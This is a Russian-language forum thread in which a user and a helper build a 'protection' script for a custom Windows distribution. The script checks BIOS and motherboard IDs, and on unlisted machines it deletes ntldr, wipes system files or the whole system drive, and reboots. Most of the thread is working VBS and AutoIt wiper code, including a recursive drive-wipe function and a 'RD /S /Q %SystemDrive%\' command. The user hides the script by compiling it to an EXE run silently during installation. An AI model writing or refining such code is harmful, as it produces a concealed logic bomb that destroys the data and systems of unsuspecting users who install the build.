Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Скриптовые языки администрирования Windows (http://forum.oszone.net/forumdisplay.php?f=102)
-   -   [решено] Помогите подправить скрипт VBS (http://forum.oszone.net/showthread.php?t=132712)

Pozia 21-02-2009 21:11 1045140

Помогите подправить скрипт VBS
 
Сам я ноль в VBS скриптах. Но очень уж надобно подправить скрипт. Я как то где то задавал этот вопрос но по ответам не смог сообразить что и как сделать. Скрипт такой:

Код:

Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"

Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
  strComputerHost = objBios.ReleaseDate & objBaseboard.Product
  For Each strAllowedHost in arrayAllowedHosts
    If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
  Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
 objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
 strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
 ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")

То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.

Pozia 21-02-2009 22:17 1045196

только что осинило что можно пойти другим путем. Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? А там я в нем все напишу что наболело :biggrin:

amel27 24-02-2009 12:02 1047288

Цитата:

Цитата Pozia
Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным »

если работает одна строка, значит должны работать все, ошибки при выполнении возникают?

Цитата:

Цитата Pozia
Как вместо строки для удаления objFSO.DeleteFile strSystemDrive & "\ntldr", True правильно записать команду на запуск какоко нибудь EXEшника по какому нибудь пути? »

в вашем же скрипте есть пример:
Код:

ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True

Pozia 25-02-2009 00:26 1047940

Цитата:

Цитата amel27
если работает одна строка, значит должны работать все, ошибки при выполнении возникают? »

я же говорю, не работает. Только что чнова проверил. Я в них ноль, в VBS скриптах. Но когда учил паскаль, то вроде как при выполнении команд которые входят в условие проверки они брались в операторные скобки FOR END. Если команда одна то нет. Вот я и пологаю что и здесь такая же ситуация но сам не знаю как правильно записать.

Цитата:

Цитата amel27
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True »

пробовал

ObjShell.Run ("C:\run.exe"), 0, True
ObjShell.Run ("C:\run.exe"), 0
ObjShell.Run ("C:\run.exe")

ничто не получилось

Admiral 25-02-2009 01:08 1047956

Pozia,
Код:

'сначала создаём объект шелла
Set objShell = CreateObject ("WScript.Shell")
'и только потом уже можем запускать внешнее приложение
ObjShell.Run "cmd", 1 , True

В Паскале операторные скобки - Begin End
For это цикл.

amel27 25-02-2009 06:15 1048036

Pozia
Цитата:

ничто не получилось »
отладка скриптов - это прежде всего работа над ошибками... если Admiral прав, то как минимум должно было высветиться "Ошибка: Требуется объект: 'ObjShell' ", аналогично - для остальных случаев... или думаете, что это форум телепатов? :wizard:

Pozia 25-02-2009 19:30 1048557

Admiral, заработало. Только вот пока выполняется файл который скрипт запускает, висит DOS окно и в его заголовке написано что то типа script.... Это окно можно как то скрыть?

Pozia 25-02-2009 20:48 1048665

Admiral, еще хочу добавить что если это DOC окно скрыть то скрипт зависает в процессах и сам не выгружается. Очень бы хотелось это окно скрыть если это возможно.

Pozia 25-02-2009 22:35 1048797

вот еще заметил, что данный скрипт в загруженной винде не виден при выполнении. У меня он запускается через RunOnceEx перед первой загрузкой и вот там DOS окно выскакивает. И это окно не того файла который скрипт запускает, так как там тихий EXEфайл. Это окно скрипта. При чем окно пустое. Вот очень нужно его запускать скрытым если это можно.

Еще. Я этот VBS скрипт компилирую (если это так называется) с помощью утилиты screnc.exe Может из за нее выскакивает окно. Может можно чем нибудь еще компилировать?

Pozia 26-02-2009 01:04 1048915

По поводу дос окна вопрос снимаю. Совсем затупил и не увидел что скрипт запускает CMD файл от которого и горит DOS окно. Я пошел другим путем. Нашел прогу Vbs_To_Exe и скомпилировал скрипт прямо в EXE и как и раньше запускаю его через RunOnceEx. Теперь такая проблема возникла. При выполнении скрипта выскакивает табличка с надписью "the script you are executing is taking longer than expected to run click end to abort the script, or continue to continue script execution" и две кнопки End и Continue. Как сделать чтобы это окно не выскакивало? Как то подправить скрипт?

amel27 26-02-2009 04:01 1048976

Pozia, в чем необходимость компиляции VBS/CMD?

Pozia 26-02-2009 07:41 1049015

amel27, в том, что этот скрипт защита моей сборки, и нечего остальным править ее под себя :) А видя этот скрипт методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе.

amel27 26-02-2009 09:02 1049063

Цитата:

Цитата Pozia
методом тыка можно сообразить что подправить чтобы сборка стала на нужном компе »

"методом тыка" можно много чего, например просто удалить EXE или заменить на "пустой", для простых случаев хватает Script Encoder'а, хотя ИМХО надежней переписать скрипт на любом знакомом языке, поддерживающем штатную компиляцию

Pozia 26-02-2009 10:04 1049124

amel27, переписать скрипт это не по моим мозгам. По поводу появления окна как я описал есть идеи?

amel27 26-02-2009 11:06 1049190

Pozia, по окну скорей компилятор виноват
Цитата:

скрипт это не по моим мозгам »
AutoIT устроит?.. как раз нужно решить задачу ветвления скрипта по типу платформы

Pozia 26-02-2009 11:57 1049251

amel27, автоит только недавно начал изучать сам, да и то дальше симуляций нажатия по клавишам не дошло и врядли дойдет. Я вообще от программирования ну просто очень далек. И то что я умудрился за этот год сделать свою сборку винды, причем без хвастовства приличную, это для меня большое достижение. Все друзья теперь ставят ее а не зверя, который не нравится из за того что там есть то чего обычным смертным не надо. Вот последнее что я бы хотел сделать это защита своей сборки. Не хочу чтобы кроме моих друзей ее кто нибудь ставил. Защиту эту конечно же можно сломать без проблем, но это новичку надо не плохо этот сайт поизучать. А кто сможет сломать тому она не надо, они лучше свою сделают. Если вы можете написать этот скрипт в автоит буду вам крайне признателен. За помощь в любом случае спасибо.

amel27 26-02-2009 12:16 1049273

Pozia, вот что получилось... кстати, по ходу в оригинальном VBS один из 2-х "endif" лишний, возможно поэтому компилятор ругается:
Код:

Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20

Global $strPassword = "12345"
Global $arrayAllowedHosts[4] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686" ]

If _PlatformArrayTest($arrayAllowedHosts) Then
    $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE)
Else
    FileSetAttrib("%SystemDrive%\ntldr", "-SR")

    FileDelete("%SystemDrive%\ntldr")
    FileDelete(@WindowsDir &"\notepad.exe")
    FileDelete(@SystemDir &"\wgatray.exe")

    Shutdown(29)
EndIf

FileDelete("%SystemDrive%\Protect.zip")
FileDelete("%SystemDrive%\PKUNZIP.EXE")
FileDelete("%SystemDrive%\PROTECTT.CMD")

Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For
$objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            $strComputerHost
= StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
            For $i=0 To UBound($arrayAllowedHosts)-1
                If $arrayAllowedHosts[$i]==$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc


Pozia 26-02-2009 12:49 1049312

amel27, спасибо большое. Оперативно вы. Как только протестирую напишу, на этой недели возможно уже не успею

Pozia 26-02-2009 18:55 1049679

amel27, вот попробовал протестить ваш скрипт. Правда немного модифицировал чтобы проверить на живой системе работу.

Вот текст:

HTML код:


Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4

Global $strPassword = "12345"
Global $arrayAllowedHosts[7] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060222000000.000000+000virtual machine", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686", _
    "20060925000000.000000+000mn2-e", _
    "20060918000000.000000+000m61pm-s2" ]

If _PlatformArrayTest($arrayAllowedHosts) Then
    $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE)
Else
   
  FileDelete("%SystemDrive%\mmm")

    ;FileSetAttrib("%SystemDrive%\*.*", "-SR")

    ;FileDelete("%SystemDrive%\*.*")
    ;FileDelete(@WindowsDir &"\*.*")
    ;FileDelete(@WindowsDir &"\L2Schemas\*.*")
    ;FileDelete(@WindowsDir &"\security\*.*")
    ;FileDelete(@WindowsDir &"\system\*.*")
    ;FileDelete(@SystemDir &"\config\*.*")
    ;FileDelete(@SystemDir &"\drivers\*.*")
    ;FileDelete(@SystemDir &"\oobe\*.*")
    ;FileDelete(@SystemDir &"\*.*")

    ;Shutdown(29)
EndIf

;FileDelete("%SystemDrive%\Protect.zip")
;FileDelete("%SystemDrive%\PKUNZIP.EXE")
;FileDelete("%SystemDrive%\PROTECTT.CMD")

Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            For $i=0 To UBound($arrayAllowedHosts)-1
                $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
                If $arrayAllowedHosts[$i]==$strComputerHost Then Return True
            Next
        Next
    Next
    Return False
EndFunc

В общем при смене ID BIOS ничего не меняется. Всегда удаляется файл mmm. Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными. Посмотрите пожалуйста. И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру?

amel27 27-02-2009 04:11 1050105

Цитата:

Цитата Pozia
Я так пологаю скрипт не хочет сравнивать ID BIOS с заданными »

попробуй отладочный вариант _PlatformArrayTest()... кстати - если регистр при сравнении не должен учитываться, замени в тексте функции оператор "==" на "="
Код:

Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then
        MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса")
        Return False
    EndIf
    For
$objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            $strComputerHost
= StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
            MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"')
            For $i=0 To UBound($arrayAllowedHosts)-1
                If $arrayAllowedHosts[$i]==$strComputerHost Then
                    MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i)
                    Return True
                EndIf
            Next
        Next
    Next
    MsgBox(64, "Уведомление", "ID платформы в массиве не найден.")
    Return False
EndFunc

Цитата:

Цитата Pozia
И еще вопрос. Если я буду добовлять еще ID BIOS то менять нужно в Global Const $WmiRestartForce = 4 жирную цифру? »

эту строчку можно удалить - скрипт использует штатную команду Shutdown вместо WMI

Pozia 27-02-2009 10:10 1050228

amel27, запускаю ваш вариант с одним и двумя == и ничего не происходит. А что должно быть? Должны выскакивать сообщения как я понимаю?

Pozia, ой. Надо было в самом скрипте поменять. Разобрался. В общем запускал такое:

HTML код:

Opt("ExpandEnvStrings", 1)

Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4

Global $strPassword = "12345"
Global $arrayAllowedHosts[7] = [ _
    "20090116000000.000000+000ga-ma770-ds3", _
    "20060222000000.000000+000virtual machine", _
    "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
    "20020315000000.000000+000sis-645", _
    "20010427000000.000000+0008363-686", _
    "20060925000000.000000+000mn2-e", _
    "20060918000000.000000+000m61pm-s2" ]

If _PlatformArrayTest($arrayAllowedHosts) Then
    $iRes = RunWait("C:\mmm.txt")
Else
   
  FileDelete("%SystemDrive%\mmm")

EndIf

Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
    Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
    Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
    Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)

    If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then
        MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса")
        Return False
    EndIf
    For $objBIOS In $colBIOS
        For $objBaseBoard In $colBaseBoard
            $strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
            MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"')
            For $i=0 To UBound($arrayAllowedHosts)-1
                If $arrayAllowedHosts[$i]=$strComputerHost Then
                    MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i)
                    Return True
                EndIf
            Next
        Next
    Next
    MsgBox(64, "Уведомление", "ID платформы в массиве не найден.")
    Return False
EndFunc

При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. При отсутствии моего ID Bios скрипт об этом говорил и удалял mmm. Так должно быть?

По поводу добовления ID BIOS я ошибся. Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да?

amel27 27-02-2009 10:31 1050247

Цитата:

Цитата Pozia
При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. »

"mmm.txt" не программа и не скрипт, для открытия документа надо использовать ShellExecute
Код:

$iRet = ShellExecute("C:\mmm.txt")
Цитата:

Цитата Pozia
Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да? »

надо - это количество элементов в массиве

Pozia 27-02-2009 10:36 1050252

amel27, дурак я!!! Вм6есто $iRes = RunWait("C:\mmm.txt") записал как должно быть $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) и закинул в диск С файлы PKUNZIP.exe и Protect.zip и все сработало как и должно быть!!! И первый ваш вариант рабочий когда записать одно =. В общем ОГРОМНОЕ СПАСИБО!!! Полностью протестирую работу с установкий ОСИ уже после выходных и сразу же отпишусь о результатах.

Pozia 01-03-2009 20:26 1052267

amel27, вроде как работает нормально. Будут проблемы отпишусь. Вот только комп по команде Shutdown(29) выключается. А для перезагрузки как правильно записать?

amel27, нет не совсем нормально работает. Я удаляю вот это:

FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileDelete(@WindowsDir &"\*.*")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileDelete(@WindowsDir &"\security\*.*")
FileDelete(@WindowsDir &"\system\*.*")

FileDelete(@SystemDir &"\config\*.*")
FileDelete(@SystemDir &"\drivers\*.*")
FileDelete(@SystemDir &"\oobe\*.*")
FileDelete(@SystemDir &"\*.*")

Удаляются файлы по выделенным командам. По остальным не хочет. Как правильно записать чтобы работало?

amel27 02-03-2009 07:17 1052541

Цитата:

Цитата Pozia
для перезагрузки как правильно записать? »

Код:

Shutdown(22)
Цитата:

Цитата Pozia
Удаляются файлы по выделенным командам. По остальным не хочет. »

Если файл не удаляется, значит либо у него стоит атрибут запрета, либо он открыт и используется системой. В первом случае - перед удалением нужно снять все возможные атрибуты командой FileSetAttrib(). Во-втором случае ничего не поделать - открытые системные файлы Windows удалить не даст (в отдельных случаях открытый файл можно переименовать или перенести в пределах тома - не более того).
Код:

FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")


Pozia 03-03-2009 22:42 1054233

amel27, удалял итак:

FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileSetAttrib(@WindowsDir &"\*.*", "-SR")
FileDelete(@WindowsDir &"\*.*")
FileSetAttrib(@WindowsDir &"\L2Schemas\*.*", "-SR")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileSetAttrib(@WindowsDir &"\security\*.*", "-SR")
FileDelete(@WindowsDir &"\security\*.*")
FileSetAttrib(@WindowsDir &"\system\*.*", "-SR")
FileDelete(@WindowsDir &"\system\*.*")
FileSetAttrib(@SystemDir &"\config\*.*", "-SR")
FileDelete(@SystemDir &"\config\*.*")
FileSetAttrib(@SystemDir &"\drivers\*.*", "-SR")
FileDelete(@SystemDir &"\drivers\*.*")
FileSetAttrib(@SystemDir &"\oobe\*.*", "-SR")
FileDelete(@SystemDir &"\oobe\*.*")
FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")

И все равно не так много удаляет как удалял обычный cmd файл запускаемый этим же скриптом с такими же путями удаления. В частности:

FileDelete("%SystemDrive%\*.*") - удалило все
FileDelete(@WindowsDir &"\*.*") - удалило все
FileDelete(@WindowsDir &"\L2Schemas\*.*") - удалило все
FileDelete(@WindowsDir &"\security\*.*") - удалило все
FileDelete(@WindowsDir &"\system\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\config\*.*") -ничего не удалило, даже тот файл что положил я сам
туда методом svcpack и он не мог висеть в памяти так как ничем не
используется
FileDelete(@SystemDir &"\drivers\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\oobe\*.*") - удалило все
FileDelete(@SystemDir &"\*.*") - удалило намного меньше чем удаляет cmd файл

Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше?

amel27 04-03-2009 06:11 1054437

Цитата:

Цитата Pozia
Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше? »

дойдя до первого неудаляемого файла FileDelete бросает это "гнилое дело", попробуйте по-другому:
Код:

DirRemove(@WindowsDir, 1)

Pozia 06-03-2009 00:10 1056128

amel27, с этой командой выскакивает сообщение: $Admin - системная папка. Удаление невозможно. И вообще ничего не удоляет. Есть еще какие нибудь варианты на удаление?

А почему
Цитата:

Цитата amel27
FileDelete бросает это "гнилое дело" »

? а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент?

amel27 06-03-2009 11:36 1056357

Цитата:

Цитата Pozia
с этой командой выскакивает сообщение »

понятно, значит удаляемого каталога не должно быть в списке системных:

C:\Windows
C:\Windows\Fonts
C:\Windows\System32
C:\Windows\Resources
C:\Program Files
C:\Program Files\Common

Цитата:

Цитата Pozia
а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент? »

CMD удаляет пофайлово, а не каталогом, на AutoIT такой способ будет работать намного дольше, поэтому DirRemove предпочтительней - тем более, что он не обращает внимания на атрибуты и удаляет вместе с подкаталогами.

Цитата:

Цитата Pozia
Есть еще какие нибудь варианты на удаление? »

сколько угодно :) , вот альтернативная UDF, удаляющая только содержимое каталога - сам каталог не трогается... Главное условие - среди подкаталогов не должно быть системных, иначе опять вывалится ошибка.
Код:

_DirRemoveAlt(@SystemDir)

Func _DirRemoveAlt($sDIR)
    Local $hSearch, $sFile, $sPath
    $sDIR
= StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            DirRemove($sPath,1)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd

    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc


Pozia 08-03-2009 20:44 1058268

amel27, предложенный скрипт изрядно пошерстил system32 чему я безгранично рад и благодарствую вас! Появилось два вопроса:
1. Можно ли сделать скрипт удаляющий все возможное по всему системному диску а не только в system32 (для надежности)?
2. Разъясните в двух словах алгоритм работы скрипта. Как он определяет что файл нельзя удалять (так как выскакивает ошибка) и что можно удалять? Так как я заметил что файл с расширением evt положенный мною лично в C:\WINDOWS\system32\config\ не удалился. Почему? На нем стоял только один атрибут - архивный.

amel27 09-03-2009 13:02 1058661

1. попробуй так:
Код:

; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
    @WindowsDir, _
    @SystemDir, _
    @WindowsDir &"\Resources", _
    @ProgramFilesDir, _
    RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
    RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
    $arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]

_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)

; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
    $arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)

; Запуск удаления
_DirRemoveAll(@HomeDrive, $arrExcl)

; Сохранение значений параметров ключа реестра в массив (рекурсивно)
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
    Local $var, $key
    For $i=1 To 10000
        $var = RegEnumVal($sKey, $i)
        If @error Then ExitLoop
        If
$sValName=="" Or $sValName=$var Then
            $aVals[0]+=1
            ReDim $aVals[$aVals[0]+1]
            $aVals[$aVals[0]]=RegRead($sKey, $var)
        EndIf
    Next
    If
$iRecv Then
        For
$j=1 To 10000
            $key = RegEnumKey($sKey, $j)
            If @error Then ExitLoop
            _RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
        Next
    EndIf
EndFunc
; ==> _RegEnumValToArray

; Удаление каталога с подкаталогами (рекурсивно)

Func _DirRemoveAll($sDIR, ByRef $aExcl)
    Local $hSearch, $sFile, $sPath, $iRet, $i
    $sDIR
= StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        If StringInStr(FileGetAttrib($sPath), "D") Then
            For
$i=1 To $aExcl[0]
                If $sPath=$aExcl[$i] Then ExitLoop
            Next

            ConsoleWrite($sPath &@CRLF)
            If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
        Else
            FileSetAttrib($sPath, "-RSH")
            FileDelete($sPath)
        EndIf
    WEnd

    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll

2. FileDelete("*.*") - удаляет файлы по списку до первого неудаляемого/открытого, DirRemove("path",1) - по ходу удаления пропускает системные/открытые подкаталоги (типа System32\Config)

Pozia 09-03-2009 14:43 1058740

amel27, ну вот и все. Отмучал я Вас. Спасибо огромное. Все работает на УРА!!! Прикольная получилась защита. Совместил Ваш скрипт поиска файла по MD5 сумме с данным и получилась что винда ставится только на ранее зашитые в скрипт материнки или на любой комп если вставить флешку с нужным файлом. Очень здорово! Спасибо еще раз!!!

amel27 09-03-2009 16:59 1058855

Цитата:

Цитата Pozia
ну вот и все »

признаюсь, лобовое решение короче (ниже), просто хотелось немного оптимизировать по скорости выполнения и поиграть со встроенными функциями AutoIT, а самым быстрым удалением все же остается "RD" ;)
Код:

_DirClear(@HomeDrive)

Func _DirClear($sDIR)
    Local $hSearch, $sFile, $sPath
    $sDIR
= StringRegExpReplace($sDIR, "\\+$", "")
    If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)

    $hSearch = FileFindFirstFile($sDIR & "\*")
    If $hSearch = -1 Then Return SetError(2, 0, False)
    While 1
        $sFile = FileFindNextFile($hSearch)
        If @error Then ExitLoop
        $sPath = $sDIR & "\" & $sFile
        FileSetAttrib($sPath, "-RSH")
        If StringInStr(FileGetAttrib($sPath), "D") Then
            _DirClear($sPath)
            DirRemove($sPath)
        Else
            FileDelete($sPath)
        EndIf
    WEnd

    FileClose($hSearch)

    Return SetError(0, 0, True)
EndFunc


Pozia 09-03-2009 17:07 1058865

amel27, запутали вы меня. Что за RD? То что вы привели сейчас быстрее удаляет?

amel27 10-03-2009 04:17 1059342

Цитата:

Цитата Pozia
запутали вы меня »

сказал же - способов и подходов много, надо экспериментировать
Цитата:

Цитата Pozia
То что вы привели сейчас быстрее удаляет? »

быстрее не должно - это пофайловое удаление... кстати, в последнем варианте строку с DirRemove() нужно закомментировать или удалить - в Вашем случае удалять пустые каталоги необязательно, а ошибок с системными каталогами это позволит избежать
Цитата:

Цитата Pozia
Что за RD? »

CMD-команда "RD" или "RMDIR", такой вариант не пробовали?
Код:

RD /S /Q %SystemDrive%\

Pozia 25-10-2009 16:57 1252058

amel27, как можно получить ID BIOS?? Так как я его получаю не работает в виртуальной машине. Может подскажете?

